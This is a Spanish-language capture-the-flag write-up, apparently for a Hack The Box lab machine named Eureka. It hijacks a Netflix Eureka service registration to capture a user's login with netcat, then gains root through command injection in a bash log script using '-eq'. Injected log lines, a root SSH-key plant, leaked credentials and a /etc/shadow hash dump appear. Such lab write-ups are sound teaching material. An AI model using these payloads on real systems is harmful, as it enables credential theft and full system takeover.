<artifactId>demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>Eureka server</name>
<description>Demo project for Spring Boot</description>
<url/>
<licenses>
<license/>
</licenses>
<developers>
<developer/>
</developers>
<scm>
<connection/>
<developerConnection/>
<tag/>
<url/>
</scm>
<properties>
<java.version>17</java.version>
<spring-cloud.version>2023.0.2</spring-cloud.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-server</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-dependencies</artifactId>
<version>${ spring -cloud.version } </version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
oscar190@eureka:/var/www/web$
Netflix Eureka
Descubrimos que Netflix Eureka es vulnerable donde existen dos vectores de ataque: SSRF y hijack internal + XSS como se indica en el post Hacking Netflix Eureka . Se muestra que la explotacion SSRF es a traves del registro de una nueva instancia con el mismo nombre de una existente, apuntando a una direccion interna, el gateway enviaria el trafico entre las dos instancias. En el caso de Traffic Hijack and XSS , se registra una instancia controlada, el gateway enviaria el trafico hacia este pudiendo filtrar cookies, tokens, etc.
Target
Para realizar la explotacion analizamos los archivos .jar de la aplicacion Furni y USER-MANAGEMENT-SERVICE. En el caso de Furni es la aplicacion que esta siendo ejecutada por el puerto 80.
1
2
3
4
5
6
oscar190@eureka:/var/www/web$ find . -iname *.jar -exec md5sum {} \;
8268523acf8ca30bc6f3f84a2db22fa3 ./Furni/target/Furni-0.0.1-SNAPSHOT.jar
932ddea54db4043ff054bc280eaf520a ./cloud-gateway/target/demo-0.0.1-SNAPSHOT.jar
69a332cec0d91f49ac0d8de2b32bfbee ./user-management-service/target/Furni-0.0.1-SNAPSHOT.jar
541a2f5288e16d953cf9289dd9209c40 ./Eureka-Server/target/demo-0.0.1-SNAPSHOT.jar
oscar190@eureka:/var/www/web$
user-management-service muestra rutas de registro y de login, Furni es la tienda y user-management-service es quien se encarga del registro y login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class UserController {
private static final Logger logger = LoggerFactory . getLogger (( Class <?> ) UserController . class );
@Autowired
private CustomUserDetailsService userService ;
@GetMapping ({ "/register" })
public String showRegistrationForm ( Model model ) {
model . addAttribute ( ClassicConstants . USER_MDC_KEY , new User ());
model . addAttribute ( "title" , "Furni | Account Registeration" );
return "register" ;
}
@PostMapping ({ "/process_register" })
public String processRegister ( @Valid @ModelAttribute ( "user" ) User user , BindingResult result , Model model ) {
if ( result . hasErrors ()) {
return "register" ;
}
try {
this . userService . registerUser ( user );
logger . info ( "User '{}' registered in successfully" , user . getEmail ());
return "redirect:/login" ;
} catch ( Exception e ) {
model . addAttribute ( "errorMessage" , e . getMessage ());
return "register" ;
}
}
}
La ejecucion de pspy
muestra la ejecucion de un script que simula el acceso como miranda al login. Con lo anterior, todo indicaria que user-management-service
seria la instancia objetivo para una explotacion (Trafic Hijack ).
1
2
3
4
2025/05/07 00:37:01 CMD: UID = 0 PID = 365968 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/05/07 00:37:01 CMD: UID = 0 PID = 365971 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml; q = 0.9,image/avif,image/webp,image/apng,*/*; q = 0.8 -H Accept-Language: en-US,en; q = 0.8 -H Cache-Control: max-age= 0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION = NzJiZmVkMTMtYjA2MS00MjkwLTlkNDctMWRiZDZkNmZiY2M1 -H User-Agent: Mozilla/5.0 ( X11; Linux x86_64) --data @/tmp/tmp.14KxYORSrs --insecure -i
2025/05/07 00:37:02 CMD: UID = 0 PID = 365974 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml; q = 0.9,image/avif,image/webp,image/apng,*/*; q = 0.8 -H Accept-Language: en-US,en; q = 0.8 -H Cache-Control: max-age= 0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION = NzJiZmVkMTMtYjA2MS00MjkwLTlkNDctMWRiZDZkNmZiY2M1 -H User-Agent: Mozilla/5.0 ( X11; Linux x86_64) --data @/tmp/tmp.14KxYORSrs --insecure -i
2025/05/07 00:37:02 CMD: UID = 0 PID = 365977 |
Traffic Hijack
Para la explotacion obtuvimos informacion de la instancia target a traves de la API de Eureka Server para la construccion de nuestro payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ curl -s http://furni.htb:8761/eureka/v2/apps/USER-MANAGEMENT-SERVICE -H "Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==" -H "Accept: application/json" | jq
{
"application" : {
"name" : "USER-MANAGEMENT-SERVICE" ,
"instance" : [
{
"instanceId" : "localhost:USER-MANAGEMENT-SERVICE:8081" ,
"hostName" : "localhost" ,
"app" : "USER-MANAGEMENT-SERVICE" ,
"ipAddr" : "10.10.11.66" ,
"status" : "UP" ,
"overriddenStatus" : "UNKNOWN" ,
"port" : {
" $" : 8081,
"@enabled" : "true"
} ,
"securePort" : {
" $" : 443,
"@enabled" : "false"
} ,
"countryId" : 1,
"dataCenterInfo" : {
"@class" : "com.netflix.appinfo.InstanceInfo $DefaultDataCenterInfo " ,
"name" : "MyOwn"
} ,
"leaseInfo" : {
"renewalIntervalInSecs" : 30,
"durationInSecs" : 90,
"registrationTimestamp" : 1746564031545,
"lastRenewalTimestamp" : 1746581172202,
"evictionTimestamp" : 0,
"serviceUpTimestamp" : 1746564031545
} ,
"metadata" : {
"management.port" : "8081"
} ,
"homePageUrl" : "http://localhost:8081/" ,
"statusPageUrl" : "http://localhost:8081/actuator/info" ,
"healthCheckUrl" : "http://localhost:8081/actuator/health" ,
"vipAddress" : "USER-MANAGEMENT-SERVICE" ,
"secureVipAddress" : "USER-MANAGEMENT-SERVICE" ,
"isCoordinatingDiscoveryServer" : "false" ,
"lastUpdatedTimestamp" : "1746564031545" ,
"lastDirtyTimestamp" : "1746564030552" ,
"actionType" : "ADDED"
}
]
}
}
❯
Creamos un nuevo archivo con la estructura json con unicamente el ‘objeto’ instance
donde modificamos hostName
y ipAddr
, con valor a nuestra direccion IP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
{
"instance" :{
"instanceId" : "localhost:USER-MANAGEMENT-SERVICE:8081" ,
"hostName" : "10.10.14.219" ,
"app" : "USER-MANAGEMENT-SERVICE" ,
"ipAddr" : "10.10.14.219" ,
"status" : "UP" ,
"overriddenStatus" : "UNKNOWN" ,
"port" : {
"$" : 8081 ,
"@enabled" : "true"
},
"securePort" : {
"$" : 443 ,
"@enabled" : "false"
},
"countryId" : 1 ,
"dataCenterInfo" : {
"@class" : "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo" ,
"name" : "MyOwn"
},
"leaseInfo" : {
"renewalIntervalInSecs" : 30 ,
"durationInSecs" : 90 ,
"registrationTimestamp" : 1746564031545 ,
"lastRenewalTimestamp" : 1746581172202 ,
"evictionTimestamp" : 0 ,
"serviceUpTimestamp" : 1746564031545
},
"metadata" : {
"management.port" : "8081"
},
"homePageUrl" : "http://localhost:8081/" ,
"statusPageUrl" : "http://localhost:8081/actuator/info" ,
"healthCheckUrl" : "http://localhost:8081/actuator/health" ,
"vipAddress" : "USER-MANAGEMENT-SERVICE" ,
"secureVipAddress" : "USER-MANAGEMENT-SERVICE" ,
"isCoordinatingDiscoveryServer" : "false" ,
"lastUpdatedTimestamp" : "1746564031545" ,
"lastDirtyTimestamp" : "1746564030552" ,
"actionType" : null
}
}
Registramos una nueva instancia a traves de la API especificando el payload con el mismo nombre de la instancia objetivo, la respuesta fue codigo 204 lo que indica registro exitoso.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ curl -X POST http://furni.htb:8761/eureka/v2/apps/USER-MANAGEMENT-SERVICE -H "Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==" -H "Content-Type: application/json" --data @payload.json -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host furni.htb:8761 was resolved.
* IPv6: ( none)
* IPv4: 10.10.11.66
* Trying 10.10.11.66:8761...
* Connected to furni.htb ( 10.10.11.66) port 8761
* using HTTP/1.x
> POST /eureka/v2/apps/USER-MANAGEMENT-SERVICE HTTP/1.1
> Host: furni.htb:8761
> User-Agent: curl/8.12.1
> Accept: */*
> Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA ==
> Content-Type: application/json
> Content-Length: 1205
>
* upload completely sent off: 1205 bytes
< HTTP/1.1 204
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 0
< Cache-Control: no-cache, no-store, max-age= 0, must-revalidate
< Pragma: no-cache
< Expires: 0
< X-Frame-Options: DENY
< Date: Wed, 07 May 2025 01:41:26 GMT
<
* Connection #0 to host furni.htb left intact
❯
Si listamos informacion del servicio vemos que apunta a nuestra direccion IP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
❯ curl -s http://furni.htb:8761/eureka/v2/apps/USER-MANAGEMENT-SERVICE -H "Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==" -H "Accept: application/json" | jq
{
"application" : {
"name" : "USER-MANAGEMENT-SERVICE" ,
"instance" : [
{
"instanceId" : "localhost:USER-MANAGEMENT-SERVICE:8081" ,
"hostName" : "10.10.14.219" ,
"app" : "USER-MANAGEMENT-SERVICE" ,
"ipAddr" : "10.10.14.219" ,
"status" : "UP" ,
"overriddenStatus" : "UNKNOWN" ,
"port" : {
" $" : 8081,
"@enabled" : "true"
} ,
"securePort" : {
" $" : 443,
"@enabled" : "false"
} ,
"countryId" : 1,
"dataCenterInfo" : {
"@class" : "com.netflix.appinfo.InstanceInfo $DefaultDataCenterInfo " ,
"name" : "MyOwn"
} ,
"leaseInfo" : {
"renewalIntervalInSecs" : 30,
"durationInSecs" : 90,
"registrationTimestamp" : 1746582086769,
"lastRenewalTimestamp" : 1746582086769,
"evictionTimestamp" : 0,
"serviceUpTimestamp" : 1746564031545
} ,
"metadata" : {
"management.port" : "8081"
} ,
"homePageUrl" : "http://localhost:8081/" ,
"statusPageUrl" : "http://localhost:8081/actuator/info" ,
"healthCheckUrl" : "http://localhost:8081/actuator/health" ,
"vipAddress" : "USER-MANAGEMENT-SERVICE" ,
"secureVipAddress" : "USER-MANAGEMENT-SERVICE" ,
"isCoordinatingDiscoveryServer" : "false" ,
"lastUpdatedTimestamp" : "1746582086769" ,
"lastDirtyTimestamp" : "1746564030552" ,
"actionType" : "ADDED"
}
]
}
}
❯
Ejecutamos netcat a la escucha por el puerto 8081, observamos un intento de autenticacion con el usuario miranda.wise@furni.htb
donde especifica su contrasena. Con esto logramos el Traffic Hijack en Eureka.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nc -lvp 8081
listening on [ any] 8081 ...
connect to [ 10.10.14.219] from furni.htb [ 10.10.11.66] 40182
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml; q = 0.9,image/avif,image/webp,image/apng,*/*; q = 0.8
Accept-Language: en-US,en; q = 0.8
Cache-Control: max-age= 0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION = NmNjOTNiZGItNmE5Yi00OWNlLWI1ZTItZDVlMDNkOTFjYjMy
User-Agent: Mozilla/5.0 ( X11; Linux x86_64)
Forwarded: proto = http; host = furni.htb; for = "127.0.0.1:49920"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.14.219:8081
username = miranda.wise%40furni.htb& password = IL%21veT0Be%26BeT0L0ve& _csrf = a99rLXJCo0G6-GdiY6SEr4adqcS_ZXAjZOERy_AnePlgs7xQUugJGxRxm3OXz1RWWomwzLCuhKWLXRQOU9Yhr8AXGpgCioRj
❯
1
username = miranda.wise@furni.htb& password = IL!veT0Be& BeT0L0ve
User - miranda-wise
Utilizamos estas credenciales con el usuario miranda-wise logrando acceder a esta y nuestra flag user.txt
.
1
2
3
4
5
6
7
8
oscar190@eureka:~$ su miranda-wise
Password:
miranda-wise@eureka:/home/oscar190$ cd
miranda-wise@eureka:~$ ls
snap user.txt
miranda-wise@eureka:~$ cat user.txt
35f563b7765a54921d8f5591a0e92981
miranda-wise@eureka:~$
Privesc
pspy
mostro la ejecucion del script log_analyse.sh
por parte de root.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
2025/05/07 00:44:06 CMD: UID = 0 PID = 405170 |
2025/05/07 00:44:06 CMD: UID = 0 PID = 405169 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405174 | cut -d: -f1
2025/05/07 00:44:06 CMD: UID = 0 PID = 405173 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405172 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405177 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405175 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405180 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405178 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405183 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405181 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405186 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405184 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
2025/05/07 00:44:06 CMD: UID = 0 PID = 405189 | cut -d: -f2
2025/05/07 00:44:06 CMD: UID = 0 PID = 405188 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
El script realiza un “reporte” del archivo log /var/www/web/cloud-gateway/log/application.log
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
miranda-wise@eureka:~$ bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
----- Log Analysis Report -----
[ +] Successful Login Counts:
Total Successful Logins: 0
[ +] Failed Login Attempts:
Total Failed Login Attempts: 0
[ +] HTTP Status Code Distribution:
0 200
0 201
8 302
0 400
0 401
50 403
0 404
0 500
Total HTTP Requests Tracked: 58
[ +] Log Level Counts:
107 INFO
12 WARN
[ +] ERROR Messages:
[ +] Eureka Connection Failures:
Count: 1
Analysis completed. Results saved to log_analysis.txt
miranda-wise@eureka:~$ ls
log_analysis.txt snap user.txt
miranda-wise@eureka:~$
El script muestra multiples funciones para generar el “reporte” que luego es guardado en log_analysis.txt
.
Expand me - log_analyse.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash
# Colors
GREEN = '\033[0;32m'
RED = '\033[0;31m'
YELLOW = '\033[1;33m'
BLUE = '\033[0;34m'
CYAN = '\033[0;36m'
RESET = '\033[0m'
LOG_FILE = " $1 "
OUTPUT_FILE = "log_analysis.txt"
declare -A successful_users # Associative array: username -> count
declare -A failed_users # Associative array: username -> count
STATUS_CODES =( "200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0" ) # Indexed array: "code:count" pairs
if [ ! -f " $LOG_FILE " ] ; then
echo -e " ${ RED } Error: Log file $LOG_FILE not found. ${ RESET } "
exit 1
fi
analyze_logins() {
# Process successful logins
while IFS = read -r line; do
username = $( echo " $line " | awk -F"'" '{print $2}' )
if [ -n " ${ successful_users [ $username ]+_ } " ] ; then
successful_users[ $username ]= $(( successful_users[ $username ] + 1 ))
else
successful_users[ $username ]= 1
fi
done < <( grep "LoginSuccessLogger" " $LOG_FILE " )
# Process failed logins
while IFS = read -r line; do
username = $( echo " $line " | awk -F"'" '{print $2}' )
if [ -n " ${ failed_users [ $username ]+_ } " ] ; then
failed_users[ $username ]= $(( failed_users[ $username ] + 1 ))
else
failed_users[ $username ]= 1
fi
done < <( grep "LoginFailureLogger" " $LOG_FILE " )
}
analyze_http_statuses() {
# Process HTTP status codes
while IFS = read -r line; do
code = $( echo " $line " | grep -oP 'Status: \K.*' )
found = 0
# Check if code exists in STATUS_CODES array
for i in " ${ !STATUS_CODES[@] } " ; do
existing_entry = " ${ STATUS_CODES [ $i ] } "
existing_code = $( echo " $existing_entry " | cut -d':' -f1)
existing_count = $( echo " $existing_entry " | cut -d':' -f2)
if [[ " $existing_code " -eq " $code " ]] ; then
new_count = $(( existing_count + 1 ))
STATUS_CODES[ $i ]= " ${ existing_code } : ${ new_count } "
break
fi
done
done < <( grep "HTTP.*Status: " " $LOG_FILE " )
}
analyze_log_errors(){
# Log Level Counts (colored)
echo -e "\n ${ YELLOW } [+] Log Level Counts: ${ RESET } "
log_levels = $( grep -oP '(?<=Z )\w+' " $LOG_FILE " | sort | uniq -c)
echo " $log_levels " | awk -v blue = " $BLUE " -v yellow = " $YELLOW " -v red = " $RED " -v reset = " $RESET " '{
if ($2 == "INFO") color=blue;
else if ($2 == "WARN") color=yellow;
else if ($2 == "ERROR") color=red;
else color=reset;
printf "%s%6s %s%s\n", color, $1, $2, reset
}'
# ERROR Messages
error_messages = $( grep ' ERROR ' " $LOG_FILE " | awk -F' ERROR ' '{print $2}' )
echo -e "\n ${ RED } [+] ERROR Messages: ${ RESET } "
echo " $error_messages " | awk -v red = " $RED " -v reset = " $RESET " '{print red $0 reset}'
# Eureka Errors
eureka_errors = $( grep 'Connect to http://localhost:8761.*failed: Connection refused' " $LOG_FILE " )
eureka_count = $( echo " $eureka_errors " | wc -l)
echo -e "\n ${ YELLOW } [+] Eureka Connection Failures: ${ RESET } "
echo -e " ${ YELLOW } Count: $eureka_count ${ RESET } "
echo " $eureka_errors " | tail -n 2 | awk -v yellow = " $YELLOW " -v reset = " $RESET " '{print yellow $0 reset}'
}
display_results() {
echo -e " ${ BLUE } ----- Log Analysis Report ----- ${ RESET } "
# Successful logins
echo -e "\n ${ GREEN } [+] Successful Login Counts: ${ RESET } "
total_success = 0
for user in " ${ !successful_users[@] } " ; do
count = ${ successful_users [ $user ] }
printf " ${ GREEN } %6s %s ${ RESET } \n" " $count " " $user "
total_success = $(( total_success + count))
done
echo -e " ${ GREEN } \nTotal Successful Logins: $total_success ${ RESET } "
# Failed logins
echo -e "\n ${ RED } [+] Failed Login Attempts: ${ RESET } "
total_failed = 0
for user in " ${ !failed_users[@] } " ; do
count = ${ failed_users [ $user ] }
printf " ${ RED } %6s %s ${ RESET } \n" " $count " " $user "
total_failed = $(( total_failed + count))
done
echo -e " ${ RED } \nTotal Failed Login Attempts: $total_failed ${ RESET } "
# HTTP status codes
echo -e "\n ${ CYAN } [+] HTTP Status Code Distribution: ${ RESET } "
total_requests = 0
# Sort codes numerically
IFS = $'\n' sorted =( $( sort -n -t':' -k1 <<< " ${ STATUS_CODES [*] } " ) )
unset IFS
for entry in " ${ sorted [@] } " ; do
code = $( echo " $entry " | cut -d':' -f1)
count = $( echo " $entry " | cut -d':' -f2)
total_requests = $(( total_requests + count))
# Color coding
if [[ $code = ~ ^2 ]] ; then color = " $GREEN "
elif [[ $code = ~ ^3 ]] ; then color = " $YELLOW "
elif [[ $code = ~ ^4 || $code = ~ ^5 ]] ; then color = " $RED "
else color = " $CYAN "
fi
printf " ${ color } %6s %s ${ RESET } \n" " $count " " $code "
done
echo -e " ${ CYAN } \nTotal HTTP Requests Tracked: $total_requests ${ RESET } "
}
# Main execution
analyze_logins
analyze_http_statuses
display_results | tee " $OUTPUT_FILE "
analyze_log_errors | tee -a " $OUTPUT_FILE "
echo -e "\n ${ GREEN } Analysis completed. Results saved to $OUTPUT_FILE ${ RESET } "
-eq is evil
Tras analizar el scrip encontramos que la funcion analyze_http_statuses
esta haciendo uso de -eq
lo que nos permitiria la ejecucion de comandos .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
analyze_http_statuses() {
# Process HTTP status codes
while IFS = read -r line; do
code = $( echo " $line " | grep -oP 'Status: \K.*' )
found = 0
# Check if code exists in STATUS_CODES array
for i in " ${ !STATUS_CODES[@] } " ; do
existing_entry = " ${ STATUS_CODES [ $i ] } "
existing_code = $( echo " $existing_entry " | cut -d':' -f1)
existing_count = $( echo " $existing_entry " | cut -d':' -f2)
if [[ " $existing_code " -eq " $code " ]] ; then # <-------------------- "-eq is evil"
new_count = $(( existing_count + 1 ))
STATUS_CODES[ $i ]= " ${ existing_code } : ${ new_count } "
break
fi
done
done < <( grep "HTTP.*Status: " " $LOG_FILE " )
}
Basados en el script, nuestro archivo deberia de quedar de la siguiente forma para ejecutar whoami
cuyo resultado es enviado a /dev/shm/id
.
1
2025-05-02T03:51:38.153Z INFO 1360 --- [] [] eureka : HTTP GET / - Status: a[ $( whoami>/dev/shm/id) ] +04
Afortunadamente, podemos renombrar el archivo de log, crear un archivo con nuestro comando y modificar el nombre a application.log
.
1
2
3
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ mv application.log application.bak
mv: replace 'application.bak' , overriding mode 0664 ( rw-rw-r--) ? y
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ nano application.log
Tras unos segundos observamos el resultado en el archivo.
1
2
3
4
5
6
7
8
9
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ls -lah /dev/shm/id
total 4.0K
drwxrwxrwt 2 root root 60 May 2 04:00 .
drwxr-xr-x 19 root root 4.0K May 2 03:18 ..
-rw-r--r-- 1 root root 5 May 2 04:00 id
miranda-wise@eureka:/var/www/web/cloud-gateway/log$
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ cat /dev/shm/id
root
miranda-wise@eureka:/var/www/web/cloud-gateway/log$
Shell
Generamos una clave SSH para miranda-wise.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key ( /home/miranda-wise/.ssh/id_rsa) :
Created directory '/home/miranda-wise/.ssh' .
Enter passphrase ( empty for no passphrase) :
Enter same passphrase again:
Your identification has been saved in /home/miranda-wise/.ssh/id_rsa
Your public key has been saved in /home/miranda-wise/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:mGrBO+Sc+3WcQ0NYRemCTvs30wkWqVrs2iJm/fX5ias miranda-wise@eureka
The key' s randomart image is:
+---[ RSA 3072] ----+
| .oo. |
| o . |
| .... . |
| . oo.. + |
| + ooSooo . |
| + = oo+oo |
| O ..== ..o . |
| . o+.+ooo+.+..|
| .+...+oE.= +o.|
+----[ SHA256] -----+
miranda-wise@eureka:/var/www/web/cloud-gateway/log$
Agregamos el comando para que nuestra clave publica sea agregada al archivo authorized_keys
de root.
1
2025-05-02T03:51:38.153Z INFO 1360 --- [] [] eureka : HTTP GET / - Status: a[ $( cat /home/miranda-wise/.ssh/id_rsa.pub > /root/.ssh/authorized_keys) ] +04
Finalmente ingresamos por SSH como root logrando obtener una shell y nuestra flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:z8BoSlVbkzCg3ADRSfOpq5LF0ADhYqfINUJjCgbPeW0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added ' localhost' ( ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS ( GNU/Linux 5.4.0-214-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Thu 10 Apr 2025 07:41:57 AM UTC
System load: 0.04
Usage of /: 84.1% of 8.02GB
Memory usage: 44%
Swap usage: 0%
Processes: 248
Users logged in: 1
IPv4 address for eth0: 10.129.232.19
IPv6 address for eth0: dead:beef::250:56ff:feb9:f97
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri May 2 04:04:52 2025 from 127.0.0.1
root@eureka:~# whoami; id
root
uid = 0( root) gid = 0( root) groups = 0( root)
root@eureka:~# ls
log_analysis.txt root.txt snap
root@eureka:~# cat root.txt
d6628916fd3b51d907d5689423799cf5
root@eureka:~# cat /home/miranda-wise/user.txt
b27371734a03b49db22ad49ea9dfdd5f
root@eureka:~#
Dump Hashes
Realizamos la lectura del archivo /etc/shadow
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
root:$6$OBLuDSnSI6fzrKsf$u9QRtUqJYklvj0ve0W792 /K0OFtjkezL5d/glicQuh.wd2Zghc5DU5AR8wy3WqSN4XE4URKuT2Q.TvVn8V6aG.:19947:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19917:0:99999:7:::
sshd:*:19917:0:99999:7:::
systemd-coredump:!!:19917::::::
lxd:!:19917::::::
mysql:!:19925:0:99999:7:::
oscar190:$6$CCVgNnsseJFcoNGs$gzae .Om25l/QR2NNsAEeulOjuPVf.UxaTupSl.TIePjM47QM1PvPaFLY2I/BTM0kyltIHJ7MB3L8rBAnu8e501:19936:0:99999:7:::
miranda-wise:$6$cceIW .FRVwHUaXms$/A4OpW8llje8ChgjPMbb81eEs.SiaivbvJyoOFtDmF9loeQ.tU3G6yMQz3B5tThwjgPr7j/XZV4TrbqQhKTif1:19936:0:99999:7:::
_laurel:!:20188::::::